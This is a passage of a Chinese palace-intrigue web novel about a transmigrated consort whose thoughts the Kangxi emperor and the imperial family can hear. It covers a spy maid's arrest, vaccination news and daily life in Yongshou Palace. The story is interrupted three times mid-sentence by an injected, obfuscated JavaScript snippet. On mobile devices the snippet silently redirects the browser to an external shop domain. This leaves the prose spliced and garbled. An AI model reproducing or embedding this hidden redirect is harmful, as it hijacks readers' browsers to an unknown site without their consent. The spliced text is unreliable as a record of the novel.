“这事儿干嘛不告诉主子,便是你瞒着,难不成还能瞒几日?”云朵出门看了看后,才快步走到她面前,压低声音问道。 云月泄了气,往床架上一靠:“如今主子有孕在身,又还未过三个月,若是惊到了出了变故,你我有几个脑子够砍的?你没看见连云秀都同意了我的法子。” “可那之后呢?主子总不能不回永寿宫了吧?”云朵还是不放心,总觉得这样的法子像极了以前听人说的那个什么掩耳盗铃。 云月重重吐了口气:“缓着说吧,反正云兰过去也不怎么往主子面前来,主子也不常用她,一时间想不起来倒也不是不能多瞒几日。” “你这话说的,云秀姐姐负责咱们宫里大多数的事务,你负责膳食日用度管理这些,我负责手工房的一切,剩下的闲杂事基本上都是云兰负责,纵使见得再少,三五天的不也见上一次。” “那你说咱们能怎么办?要是能够知道云兰被带走的原因,还能小心着劝着主子,如今你我什么都不知道,只知道对方被皇上派人带走,若是实话实说,主子岂不会多想?”云月何尝不知道,只是她更不敢担下惊了齐满月的罪过。 云朵舔了舔嘴唇,眼中满是后怕:“这云兰到底做了什么,怎会惊动乾清宫的人,还是梁公公亲自带人过来,该不会把我们牵扯进去吧?” 云月忍不住白了她一眼:“和你我有什么关系?你我一没违背宫规,二没背叛主子的。” 话音一落,她抬眼狐疑地打量着云朵,语气中带着盘问:“怎么?你做了背叛主子的事情?” 云朵头摇的像拨浪鼓一般,声音中都带上了急切:“怎么可能!?主子待我这般好,我怎么会背叛主子!” 说着她像是突然反应过来一样,压低着声音说道:“你说之前有几次云兰突然半夜出去,该不会……” “她半夜出去过!?你怎么没说过!?”云月腾的坐起身,前面的一切疑惑都像是瞬间想明白一样。 云朵此时也反应了过来,脸上带着几分发白,刚要开口说什么,就见外面突然涌进来一批侍卫,直接点了几个小太监押走。 她二人出门来到院子时,就见梁九功阴冷的眼神在众人身上扫过后,再看到她们后又柔了几分:“两位姑娘,娘娘回来还请先不要告诉娘娘,皇上晚上过来自会和娘娘解释。” 两人听后面面相觑却也乖顺点了点头。 见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17618965|204029||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 状梁九功笑容满意地带人离开。 远在承乾宫的齐满月自然不知道自己离开后永寿宫发生了什么。 云秀虽然也不知道,但她认出了被乾清宫侍卫押走的是云兰,能惊动皇帝的人必然不是小事,她和云月一样不敢让齐满月直接知道以免受惊。 齐满月一心惦记着承乾宫的点心,云秀一心想着云兰的事情,两人一时间竟没察觉迎面走来一个妇人。 还是云秀机敏些,在妇人停下时赶忙叫停了轿辇,扫了眼旁边的秋月,又见妇人对齐满月行了个颔首礼,赶忙对齐满月低声介绍:“应当是佟国维大人的夫人,皇贵妃娘娘的生母,一品夫人赫舍里氏。” 齐满月脑子里转了一圈,才想起这是谁,这还是多亏了对方有个极有名的儿子——天下第一人渣隆科多! 齐满月对对方微微颔首后,原本打算打招呼的心立刻熄灭,却又反应过来对方在历史上好像也被自己儿子气死了,便又改了态度。 “夫人是来看皇贵妃娘娘的?” 听着齐满月软糯的声音,赫舍里氏对齐满月这个前朝后宫皆知的大名鼎鼎的新晋宠妃襄嫔恶感消退了几分。 哎……果真如娘娘所言,就是个天真的小孩子。 她抬眼看着齐满月清澈的杏眼,笑着点了点头:“皇上开恩,看在娘娘有喜的份儿上,特准了臣妇进宫探望,娘娘的阿玛额娘想来下个月也能入宫探望了。” “前些日子皇贵妃娘娘遣人告诉本宫了,还劳烦了娘娘专门为我想着这件事。” “娘娘身为皇贵妃,这是她的职责所在。”赫舍里氏看了看天色,才又说道,“襄嫔娘娘可是去承乾宫?既如此,臣妇就不耽搁娘娘了。” “要说耽搁也是本宫耽搁了夫人,夫人慈善,本宫和夫人聊天心里很开心。” 赫舍里氏看着齐满月这样的长相,听着她这般说着,又被那双一看就真挚的眼神看着,心中只不住感慨,莫说皇帝宠爱,便是自己看着这样的美人都忍不住疼惜几分啊。 两人又简单说了几句,才散开。 齐满月往后看了眼赫舍里的背影,不住地叹了口气,心中感慨道:“佟佳一族应该很期待皇贵妃肚子里是个皇子吧,最好能成为下一任皇帝延续佟半朝的荣光,可惜了……” “皇贵妃肚子里孩子不仅是个小公主,她还没活过满月,连皇贵妃自己都只有几年的寿命了……” “啪嗒!” “四阿哥,您让奴婢好找啊,襄嫔娘娘来承乾宫了,娘娘叫奴婢带您过去呢。” 承乾宫的宫人一脸急切地将在旁边花道中发呆的胤禛一把抱起,丝毫没关注到他脸色有些发白,眼中带着迷茫和无措,连刚刚在玩的蹴鞠都滚到一旁。 额娘肚子里的是妹妹,还是个活不了几天的妹妹,额娘也会因此早逝,这样的消息如同炸弹一样充斥了他的小脑袋。 尚且年幼的他固然有些事不懂,可却也知道死亡意味着什么…… “胤禛?怎么了?”承乾宫里皇贵妃看着从回来就一直发呆的胤禛满脸担忧。 胤禛回过神来,赶忙摇了摇头。 “胤禛也期待额娘肚子里的弟弟吗?说起来,是个妹妹也不错不是吗?”皇贵妃满脸母爱的轻轻摸着肚子。 看着阳光洒在她脸上,为她铺了一层柔光,胤禛张了张嘴,到底没说什么,只是看向对方肚子的眼神带着几分冰冷。 43. 祖孙谈话 “额涅玛玛。”康熙看着孝庄,愣了许久才说道,“您安排了永寿宫的宫人监视襄嫔吗?” 孝庄本来还有些意外康熙怎么会突然来她的宫里,听到他的问话后不由一愣,才点了点头:“是老身做的。” “额涅玛玛,为什么?咱们能够听到襄嫔的心声,您也应该知道她对权势并没有什么欲望,上次您不也说过……”康熙在孝庄的平淡的眼神中,声音越来越低。 孝庄将手中的茶盏轻轻一放。 茶盏里的奶茶在动作间荡起阵阵涟漪,然后慢慢平淡下去。 孝庄看着平静下去的水面,冷哼一声,才抬眼扫向康熙,那久违的属于一个掌权者的威压,在相隔许多年后再一次出现在康熙面前。 “玄烨,你到底是为了我插手后宫密探一事而质疑我,还是因为我涉及了你心爱的女人?” 康熙许久不曾被她这样称呼过,此时猛地被这样一问,一时间没反应过来。 “玄烨,你要清楚,当初我选择你不仅仅是你度过了天花,更是因为你足够理智,足够适合当一个帝王,而你现在心为了一个女人乱掉了。”孝庄并不在意他的反应,继续说道,“当然,我也不在意你宠溺哪个女人,毕竟我相信你不至于学你阿玛那样糊涂,只是……” 她的眼眸扫向康熙的帽子,眼神中带上了几分凉意:“我不是真的老了,不中用了,你以为我身在后宫,就对朝堂一无所知吗?” 康熙垂下的眼眸猛地一顿,立刻闪出一抹杀意,却也快速散去,他微微抬头,装作没听懂一样,笑着回道:“额涅玛玛莫说监视一个襄嫔,就是监视孙儿,也是无不可的。” “说来,孙儿今日来找额涅玛玛本就是有个事情要说。”康熙看着孝庄重新拿起茶盏后,才说道,“孙儿从襄嫔的心声中得知可从牛痘中得到比人痘更安全的防痘法子,孙儿正打算告诉您呢。” 孝庄拿着茶盏的动作一僵,下一瞬茶盏滑落,奶茶顺着桌子一路流淌到榻上,又慢慢滴落在地上,为这一瞬间寂静的空间带来滴答滴答的声响,就像催促着被震惊的人类赶快回神。 “你……你说什么?!”她的眼眸中满是不可置信。 康熙眼眸中带上了一丝笑意,继续说道:“孙儿前些日子让太医去试了。” “那些被种了牛痘的死刑犯在感染了天花后,很快就活了下来,而且是全活了。” 孝庄垂眸看着还在滴答的奶茶,许久后她抬起头看向康熙:“襄嫔确实是个乖孩子,是老身之前担忧太过了,此事不必再提。” 她顿了顿,才抬头看向康熙:“天花一事涉及甚广,你要好生安排,有了这样的大功,想来民心也会倾向咱们吧。” 康熙点了点头,犹豫了一瞬后,试探着看了下对方的神情后,还是决定为齐满月再加一次码:“说起来,之前齐满月曾暴露过外蒙那边有些地方是有金矿的,孙儿让人去暗查,目前已经找到一处。” 似乎觉得这点情况还不足以打消孝庄对齐满月的警惕,又赶忙说道:“之前齐佳氏还暴露了许多养孩子的心得,孙儿也让人试过了,目前几个尚小的孩子如今身体都康健了很多。” 说到子嗣上面,孝庄眼眸一动,眉眼间也带上了几分喜意和关切:“如此甚好,虽说如今阿哥不少了,可孩子总不嫌多的。” “是,孙儿也是这样想的。”康熙深吸了口气,突然想起另一件事,继续说道,“说起来,黄履庄和戴梓那边已经研究出了不少新式火枪炮,新的火枪队也已经训练得差不多了,孙儿想着要不要先让他们出海试试。” 孝庄微微蹙眉,眼中带着几分担忧:“咱们满人擅长的是骑兵,这海上……你总不能让汉人来吧?” 康熙故作犹豫道:“孙儿也是这样想的,所以现在犹豫人选。” “这事儿倒也不急,总要有个足够分量的人掌事才好。”孝庄此时一心都埋在了天花牛痘上,也不甚多在意这些,毕竟她早些年决定退居慈宁宫的事情也并不是做做样子而已。 见她松动了态度,康熙趁热打铁道:“那襄嫔那边……?” 孝庄抬眼扫了眼他,才轻哼一声:“随你吧,只要你有本事压得下满宫妃嫔及她们身后的朝臣势力,别说你盛宠,你就是独宠,奉她为新后,老身也懒得管你了。” “新后、独宠自是不会的。”康熙赶忙应道。 孝庄白了他一眼,挥手让他赶紧离开。 等他走了后,她才对进来的苏麻喇姑说道:“还真让你和阿图说准了,皇帝定会借此事让老身对他和襄嫔放手。” “都说了,儿孙自有儿孙福嘛。”苏麻喇姑走到她身侧,轻轻蹲下身,给她捶着腿,“那襄嫔性子柔善,皇上独宠这么多日子,奴婢看她还是一副如初的模样,定不会是那霍乱朝纲的人。” “我自然不是担心她祸乱朝纲,只是这世间的道理从未脱离过风水轮流转,若是帝王真的独宠一人,对朝臣而言送女入宫一事便无法再做,从龙之功也要从自家血脉才安全啊……” “到时候怕是朝堂压不住,我们本就是异族统治汉人,若还不团结岂不是……” 她的话不曾说完,可苏麻喇姑却明白她的意思,一时间她也想不出什么法子,只轻叹了口气,不再言语。 孝庄也没再说什么,只是看着窗外,眼眸中闪过许多算计却又被她暗自摇头去掉。 康熙途经永寿宫犹豫了一瞬,才让人抬着他继续往前走。 “襄嫔什么反应?” 正走着呢,他冷不丁地一句将一旁的梁九功吓了一跳,他赶忙回道:“襄嫔娘娘被皇贵妃娘娘请去了,奴才去的时候还未曾回来,只交代了永寿宫的云月和云朵。” “嗯。”康熙揉了揉眉心,点了点头。 梁九功一时间没办法从他的神色中察觉出他是满意还是不满意,只能暗自叹了口气,将永寿宫襄嫔的重要性再次往上提了几个等级。 而被他们说的齐满月在承乾宫里先教给了皇贵妃如何做蚕丝团扇,又亲自给她装饰了一个金黄色扇面的团扇给她。 “到底太过奢靡了点。”看着装饰着黄铜装饰片,坠着珍珠流苏的扇子,皇贵妃忍不住轻叹了口气。 齐满月看着手中的团扇,总觉得就单纯装饰来看,连现代社会的三分之一都没有,凭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17621638|204029||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 这个都能得一个奢靡之名,她都忍不住为扇子叫屈。 “娘娘,若是怕起了奢靡攀比之风,不如就要求宫人们不准装饰好了,或是只用些绒花布贴之类的?”说着齐满月指了指自己手中青蓝色为主的团扇。 皇贵妃扫了眼她的团扇,赞同地点了点头:“你说的有理,不过这本是玩乐之物,若是强迫大家不可奢靡反倒容易失了宽容。” 她想了想才继续说道:“我见你今日用了黄铜假做黄金倒是不错。” 齐满月抠了抠脸颊想了想,才说道:“其实未必需要这些东西,娘娘,臣妾想着若是用些糙布一层层用糨糊叠起,干了后修剪出各式模样,才刷上各式彩漆或是颜料,用以假冒黄金珍宝,是否可以更俭省些?” 皇贵妃听后垂眸细细想了一通,才轻轻摇了摇头:“你的法子自是不错,可宫里自有宫规,此事还要禀上意才行。” 涉及到管理后宫还有和康熙商议的事情,齐满月立刻噤声了,面前这位可是康熙的亲表妹还是他的第三任皇后,人家算是可以称得上是两口子商量,自己还是听话就行,反正轮也轮不到她身上,上面还有贵妃、四妃呢。 皇贵妃扫过她的脸,瞬间明白过来她这突然的乖顺是什么意思,心下不由暗叹了口气。 这襄嫔心思实在浅薄,人也柔顺的很,听说如今永寿宫多是她的贴身宫女操持,若是等自己故去,表哥让她接替自己成了后宫之主,到时候可怎么压得住场子啊…… 想到这里她都不由为齐满月担忧起来。 一旁的胤禛听着齐满月心中的腹诽,之前因为玩乐而忘记的心思再次翻起,他眼眸扫过皇贵妃的肚子,又扫过她的脸,嘴唇咬了又咬。 齐满月并没有在皇贵妃宫里待太久,差不多的时候她就提出离开。 皇贵妃闹了一天也有些疲惫了,便也没多留,只把承乾宫小厨房里擅长的点心给她装了满满一匣子。 得了心仪的点心,又玩了一下午,齐满月只觉得身心舒畅,连回到永寿宫时都还满脸笑意,丝毫没注意到云月和云朵的眼神闪躲。 承乾宫里,皇贵妃摘下满头珠翠,卸了白日里的大妆,才看到一旁似乎在想什么的秋月:“怎么了?” 秋月犹豫了一下,才说道:“奴婢今日看四阿哥似乎一直打不起精神……” “怎么不早说!?”皇贵妃一惊,下意识想要起身去看。 秋月却一把将她拦下:“娘娘!” 皇贵妃被她这一声吓了一跳。 却见秋月将她轻轻按回到座位上后才踌躇着将她无意中看到的胤禛的眼神讲了一通。 皇贵妃脸上看不出她在想什么,她只轻轻地摸着小腹,直到秋月都有些忐忑后才轻喃道:“这个孩子……” 她没说自己的这句话说的是胤禛还是肚子里的孩子,秋月想问却也不知道该怎么说。 皇贵妃摆了摆手,直接叮嘱道:“此事不必再提,我心里有数。” 胤禛躺在床上,白日里齐满月的心声不住在他脑子里闪着,他想了好久都想不到该如何解决,直到月光都已经洒进房间了,他才心中悄悄下定了决心。 44. 解释和反应 “说起来我今日都没怎么见到云兰?”齐满月环顾了主殿,总觉得哪里有些不对,尤其是感觉有些面孔不见了,“好像……宫里有些人变了?” 云秀眉头微蹙下意识看向云月,她们可没提前告诉她,永寿宫里不仅云兰被带走,还被带走了那么些人。 云月和云朵面面相觑后深吸一口气,向前一步说道:“主子,是乾清宫的梁公公将人带走的,他说皇上交代过晚上回来跟您解释。” 齐满月听到对方说是乾清宫的梁九功将人带走,第一反应就是自己无意中做了什么得罪了康熙,以至于康熙迁怒了永寿宫的宫人。 可云月这一解释,她瞬间就明白过来,应该不是自己的错,不然康熙迁怒的也该是云秀云月这几个更近身的宫人,而非不怎么熟悉的云兰还有其他宫人。 “云兰也被带走了?她一向小心谨慎,也不大爱往前面来,怎么会牵扯到她?”齐满月还是觉得不对。 云月和云朵皆是摇了摇头,至于她们的猜测,自然也不敢和齐满月说,毕竟万一猜错了,引得对方担忧可就不好了。 “主子,既然梁公公说,皇上晚上来给您解释,不如晚上问一下皇上。”云秀见她眉头紧蹙,担心她操心影响了身体,赶忙劝解道。 “是啊主子,反正皇上晚上来,到时候您问问他。”云月也跟着劝道。 看着连云朵都上前百般劝说了,齐满月忍笑着摆了摆手:“放心吧,我不会多想的。” 在心里齐满月暗自叹了口气:“能惊动康熙的怕不是小事啊,希望不会牵扯到其他宫人……” 见她面上果然不见多少烦忧,云秀几人也不由松了口气,摆点心的摆点心,帮她卸妆的卸妆,云朵更是跑到手工房给她拿了看了一半的话本子。 这个话本子齐满月并没有看多久,就直接在软榻上睡着了。 看她睡得香甜,云秀等人小心撤下矮桌,将她的腿扶到软塌上,轻轻给她盖了个毯子,才示意云月两人出去。 “到底怎么回事,你们瞒得过主子可瞒不过我。”云秀虽是四人中年纪最小的,可性格却是最为稳重的,也是齐满月从贵人开始到如今一直所依靠的。 所以云月等人对她向来极为敬服,听到她这样说便也没迟疑,赶忙将自己的猜测说了一通。 云秀脸阴了又阴,许久后,才冷眼扫过她二人:“你们没做过这种不长脑子的事儿吧?” 两人连连摇头:“自然不会,云秀姐姐我二人又不傻,咱们主子仁善大方,跟着这样的主子是我们的福分。” 听到她们这样说,云秀的脸色好了一瞬,她轻叹了口气说道:“既然你们清楚,就好好侍候主子。咱们主子要盛宠有盛宠,要地位有地位,如今还有了龙嗣,在这里必然比其他地方好的,记住,主子好你们才好。” 云月和云朵自然是口中称是。 云秀也没再说什么,只摆了摆手让人散去。 看着两人离去的背影,云秀深深叹了口气,又看向那些被替换来的新面孔,眼眸中闪过数道情绪后,才无声地回到主殿。 等康熙从乾清宫忙完政务来的时候,就看到齐满月躺在软榻上睡得香甜,一本话本子被整齐地放在一侧。 他叹了口气,并没有让云秀将人唤醒,反而摆手让人退下。 云秀愣了一瞬,似乎想说什么,可犹豫了一瞬后还是恭敬离开。 康熙拿起一侧的话本子翻看了一会儿后,忍不住揉了揉额角,下意识就想要抬手将齐满月叫醒,好好教育下她这种妖魔鬼怪的话本子,怀孕期间还是少看吧。 可一抬头就看到齐满月的睡颜,心不由就软了下来。 罢了,随她吧,从那个他虽然不明白却一看就比他的大清更好的时代过来,他总觉得如何纵容对方都无法弥补这种时空所带来的落差。 “妈妈……想吃辣条……唔……芒果雪媚娘好好吃……”正想着,齐满月睡梦中的几声呓语传到他的耳中。 康熙愣了一瞬,抬手轻轻地抚上齐满月的脸:“辣条是什么朕不懂,芒果雪媚娘是什么朕也不知道,若是你日后想起来,可愿多想想,细想想,朕……愿倾力如你所愿啊……” 齐满月睡梦中想到什么一样眉头紧皱,许久后心声里多了一句:“好想重新环游世界啊……” 康熙的手僵在原地,他的脑子突然一片清明,刚刚涌上来的那一瞬间的雄心壮志也立刻消弭。 他想他这辈子都做不到让对方不再回忆前世了…… “皇上?”康熙正发着呆,齐满月却从睡梦中醒来,她呆愣着看着康熙,好半天才反应过来不是做梦。 “嗯,醒了。”康熙上前小心扶住她,不忘给她后面垫上软垫,“不必下来,好好歇歇就是。” “都歇了一天了。”齐满月笑着借力直接坐了起来,“臣妾就不给您行礼了?” “行,朕特许你不必行礼。”康熙笑着点了点她的眉心,直接坐到她的身边,将齐满月的手放在自己掌心,“就没什么想问朕的?” 齐满月抬头看了他一眼,心知他在想什么:“这话说的,后宫您是主子,监视后妃不是正常的吗?” 听着她的心声,康熙暗自叹了口气,他不想让齐满月和好不容易哄好的太皇太后有间隙,也不想让她迁怒后宫某位高位妃嫔,平白惹出事端,只能无奈点头承认云兰是他的人。 “朕本想着让云兰暗中关照你,若是有什么要紧的,你不好意思告诉朕,朕也可以知道。”康熙顿了顿,才睨了对方一眼,“生气了?” “生啥气?”齐满月呆愣愣的回看了一眼康熙,心中更是暗自叫苦,“完了刚刚脑子飞了,完全没注意这位爷在说什么,啊啊,死脑子快想啊!” 康熙被她这心声气了个够呛,可也松了口气,至少对方不会在这上面生他的气:“罢了,也没事儿,日后永寿宫不会有人再监视你,朕也不会再安排人。” “臣妾都听皇上的。”齐满月面上自然还是那副乖巧的模样,心里却忍不住翻着白眼,“可去你的吧,就像是你安排了我也未必能知道怎么解决一样。” 康熙看了看天色,正打算直接休息在永寿宫,可被齐满月这一吐槽,休息的心顿时熄了几分:“行了,你也早点休息吧,朕回去了。” 齐满月听后下意识挑了挑眉,心中有些意外:“咦?竟然没打算留宿?也对,我都怀孕了,按理说是不是该安排宫女侍奉?还是别了吧……像拉皮条的。” 康熙原本提出的离开还带着几分逗弄的意味,心中颇有些想知道齐满月会不会不舍得,万没想到她竟然是这么个反应,离开的心也成了九分。 见他真的起身离开,齐满月大松了口气,难掩欣喜的送着对方离开。 康熙咬了咬后槽牙,看着梁九功冷哼一声说道:“走!去翊坤宫宜妃那里!” 他心中是无法掩饰的期待,希望齐满月能够从心声里吐出一两句酸意,却没想到竟然收获的还是满满的开心欢送。 康熙心中忍不住暗骂,这人,自己都想办法在太皇太后面前为她说了多少好话,做了多少努力,可她还没心没肺到连一份心都不肯往自己身上放一放。 “皇上?”梁九功暗示小太监们抬轿辇的动作放慢许多,直到走到岔路口时,才轻声开口。 康熙瞥了他一眼,直接骂道:“狗奴才!” 梁九功从这声轻骂中听出了康熙并无责备的意思,忙弯腰对皇上回道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17624352|204029||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 那皇上……咱们还去翊坤宫吗?” 康熙回看了眼身后的永寿宫,叹了口气:“回乾清宫吧。” “是。”梁九功并没有因为自己猜中就露出欣喜的笑,反倒是在心中叹了口气,将齐满月的重要性再次往上拔了几个层次。 之后的日子尚且称得上平和,宫里怀孕的妃嫔不少,尤其又都是高位嫔妃,所以请安制度一直未曾恢复,康熙也没有像众人所猜测的那样一直留宿永寿宫。 反而和过去一样,一个月内总会临幸一两个妃嫔。 孝庄曾想试探一下齐满月的态度,想知道她会不会因此吃醋,对皇上或者后宫妃嫔起了什么想法。 却不承想,仅两次她就被气得不想见齐满月了。 “这丫头竟然一点都不生气也不吃醋!?”孝庄看着齐满月带着好吃的快乐离开,忍不住看向苏麻喇姑,“这可真是!” “主子……”苏麻喇姑自然是知道她更多是因为心疼付出那么多的康熙得不到一个女人的心,她也有些心疼,却也理解齐满月,直接开口劝道,“这也未尝不是好事啊……” 孝庄揉了揉额角,叹了口气:“无爱不生妒,确实是好事,只是……我实在心疼玄烨啊。” “帝王的爱恨转瞬即逝,若是齐佳氏真的动了心,到之后……”苏麻喇姑拍了拍她的手。 孝庄此时也反应过来,她点了点头:“听说皇贵妃身边的秋月最近和永寿宫的云秀走的很近?” “听说是在教云秀如何处理永寿宫的琐事。”苏麻喇姑想了想点头应是。 “她倒是有心,怕是胤禛那孩子没瞒住她吧……” “奴婢倒觉得是皇贵妃心思聪慧,自己察觉出了什么。”苏麻喇姑却有些不赞同道。 “襄嫔自入宫以来,这心声就未曾停止过,能够传入她耳中一言半语倒也不稀奇。”孝庄摆了摆手不在意道。 被她们议论的皇贵妃此时正和惠妃、荣妃聊着宫务的事情,就听不远处嘈杂的脚步声传来。 不少小太监跟在一个奔跑的蓝色身影后面喊着“大阿哥!小心,小心!” 几位娘娘面面相觑,等听清楚来者是谁后,惠妃的脸都僵了,她强撑着给皇贵妃道了个歉后,才起身脚步飞快的冲向门外。 外面的胤禔看到惠妃,连她的脸色都没注意到,直接喊道:“额娘!太子又……唔!” 他话还没出口,就被惠妃一巴掌打断。 捂着被打痛的臂膀,胤禔一脸茫然地看着惠妃。 “还!不!给!你!两!位!妃!母!行!礼!”一字一顿下,胤禔总算反应过来了,低垂着头默默走进屋,给皇贵妃和荣妃行礼后,才又默默出了门。 “儿……儿子,等下再来。”他偷偷瞧了一眼惠妃的脸色,夹着尾巴地小狗一样,撇开一句话撒腿就跑。 惠妃捂着额头,总觉得头不是一般的晕。 那边的太子看着刚被自己叫了一声“大哥”,就一副见鬼模样跑走的胤禔,忍不住对着虚空翻了个白眼。 “太子殿下……您叫大殿下……大哥,确实不合规矩。”毓庆宫的太监总管在上次被太子救下后,胆子都大了几分。 太子斜睨了他一眼,没像他以为的那样像过去一样震怒,反倒是叹了口气:“本宫知道。” 他表情复杂地看着胤禔身影消失的方向,那些幻境中的记忆不断的浮现在他的眼中,胤禔的身影仿佛成了那段生命里那些不断保护他,挡在他面前的人们,他回忆着所从那里得到的零星历史,也明白了系统的执念还有齐满月对大清的那种说不上来的恶感。 如果从这一刻起,他们兄弟携手一起重建大清,会不会能让后世的人少憎恨他们一些呢 45. 永寿宫的日常 养胎的日子对齐满月来说不是一般的开心。 毕竟她可以睡到自然醒,还可以没事儿去惠妃宫里玩儿,惠妃学识渊博对她也亲切,和对方交流实在让她时不时就在心中惊叹一句,美女姐姐香香求贴贴。 皇贵妃那边也不知道是因为什么,时不时就请她过去玩。 别说如今才四五岁的未来的雍正帝实在好玩儿,总是一本正经的说出一些好玩儿的事情,只是说也奇怪。 齐满月总觉得他看向自己的眼光带着点奇怪。 只是不等她打算多跑几趟承乾宫,试探下这位未来的皇帝对自己是不是讨厌,就被康熙一道圣旨打断。 这道圣旨倒也简单,针对的也非她一人,而是要求整个后宫不要随便叨扰皇贵妃。 齐满月听到这道圣旨的时候还在永寿宫里指挥着云朵和云月一起做端午香囊。 “嗯,就这样,做个狮头的看着就威风,再做几个宫扇形状看着雅致,我想想……” 她指尖在下巴处点了又点,又说道:“再做几个果子的花儿的,就我给你们的花样子的那种,我拿来送给宫里皇贵妃和惠妃娘娘。” “这东西做起来是有些新意,倒比往日咱们做的更新奇讨巧些。”云秀抖了抖手中小狐狸形状的绒花发簪。 奶白色身体带着微红色尾巴尖的小狐狸在簪子上颤巍巍的抖了抖,旁边又被云秀做了些花草上前,看过去极像一个小狐狸在花草中打滚玩耍一般。 “这些东西还是自己做最有意思,偏你们非要接手。”齐满月接过发簪轻轻抖了抖又递给云秀后,才有些遗憾道。 云秀抬眼睨了她一眼,才说道:“您是忘记了前些日子的教训,这可是皇上明旨不准您再做这些费心神的东西。” 说着她起身将一本话本子塞在齐满月怀里:“您还是看话本子找乐子吧,实在无趣给我们指点一二也可以。” 齐满月想到自己为了做一个蜡画,坐了一整天,坐得脸色发白,孩子也跟着闹腾,还惊动了康熙,不禁有些心虚的接过话本。 “也不知道娘娘怎么想到这些东西的,我们在宫里那么多年没想到竟也学到了这样的手艺活,怕是出了宫后也能够找个养活自己的东西了。”新来的云梅抿着唇一边帮云秀捻着绒花,一边大着胆子说道。 “这倒还真是……”旁边的云朵愣了一瞬,低头看着手里憨态可掬的舞狮头像的小香囊,眉眼中慢慢萦绕起一抹喜意,“我还想着我二十五岁出宫后,怕是和那些姐姐姑姑们一样,如今看来,还能有些不同?” 云月看了看云秀手中的绒花,又看了看一旁齐满月画的册子上一层层的花样,眼眸也跟着亮了起来。 与她们相比,云秀是早早就决定要陪着齐满月做姑姑的,所以不像她们那样激动,反倒是抬眼看向齐满月:“娘娘怎么说?” 齐满月手里捏了个枣泥糕,刚要放进嘴里,听她这么一问愣了一瞬,才无所谓地点了点头:“我没什么可说的啊。” 不等其余几人反应,她突然想起自己前世看得出宫宫女很多过得贫困且凄惨,眼眸动了动才说道:“你们说,若是把这些手艺教给那些宫人们,等她们出宫后一起开个工坊,姐妹们彼此照料会不会过得轻松些?” 云月等人年纪轻轻就入了宫,且家里条件都不甚很好,此时皆是一脸欣喜地讨论。 云秀出身比她们好些,虽也是包衣,可父兄在内务府也当了个微末小官,对讨生活倒没多少在意,她抬眼看了眼一脸兴趣听得开心的齐满月不禁暗自叹了口气。 按照宫规,宫女出身皆是内务府上三旗包衣佐领、管领以下家庭的女子,其中出身高些,父兄能干些的,皆是被默认为宫妃候选送到各个高位嫔妃身边侍奉受教。 可不是每个上三旗包衣女子都出身不错,自然也有出身贫苦,被父兄送进宫里讨一个前程亦或是得一些赏银的。 而永寿宫除了她之外,基本上都是出身偏低的包衣女子,大多也都抱着将来攒一笔银钱出宫的想法。 云秀暗自叹了口气,扫向因怀孕而有些面容发圆,却越发显得娇憨显小的齐满月。 想来这就是皇帝的安排,不打算将那些宫妃候选送到这位娘娘身边吧…… 她心里的想法齐满月丝毫不知,她听了半晌云月等人的讨论,才意犹未尽地拿起话本子。 “咦?怎么换成这种才子佳人的了?我的志怪的呢?” “皇上说,禁止您再看那些吓人的。”云秀点了点话本子,“您放心不是那等贫苦书生和闺阁大小姐的酸文,是皇上特意给您送来的。” 齐满月翻开扉页扫了眼书名,惊讶得瞳孔都放大了一圈。 这书竟然是康熙写的,多吓人啊! 这样的心声落在刚抬脚进来的康熙眼中,他恨不得对着齐满月大大翻个白眼,然后好生问一句,他写的怎么了?哪里吓人了? 康熙进来的动静实在不小,再加上齐满月几人都在廊下,自然一眼看到了他,主仆几人赶忙行礼。 “你们忙你们的。”康熙扫了眼几个宫人手中的材料,又看向一旁的齐满月,“你如今倒是找了不少法子玩嘛。” “不好吗?”齐满月拿起一个舞狮香囊递给对方,“送您了~” 康熙被她动作一噎,忍不住轻哼了一声:“拿宫人做的糊弄朕?” 齐满月偷偷撇了撇嘴,又赶忙换了脸色,故作出讨好模样说道:“等臣妾生了孩子,给您做个。” 康熙看了看她已经有点显怀的肚子,重重吐出一口气:“皇贵妃要生了,宜妃和德妃产期比你早两个月,如今也五六个月了,惠妃和荣妃实在忙,这几日你就乖乖待在永寿宫别出去了。” “臣妾遵旨。”齐满月就要起身行礼,却又被康熙一把按住,“躺着吧,不用起了。” 说着他眼眸瞥向一旁的话本子,犹豫了一瞬,还是打算给自己挽个尊,摆了摆手,让宫人散去后,才轻声解释道:“话本不是朕写的,是朕让容若写的。” “他的文墨朕不好直接送到你宫里来,才假借了朕的名义。”说到这里,康熙耳尖微红,脸上还闪过一点窘意。 齐满月倒没注意这些,她脑子瞬间将容若二字和纳兰容若联系在一起。 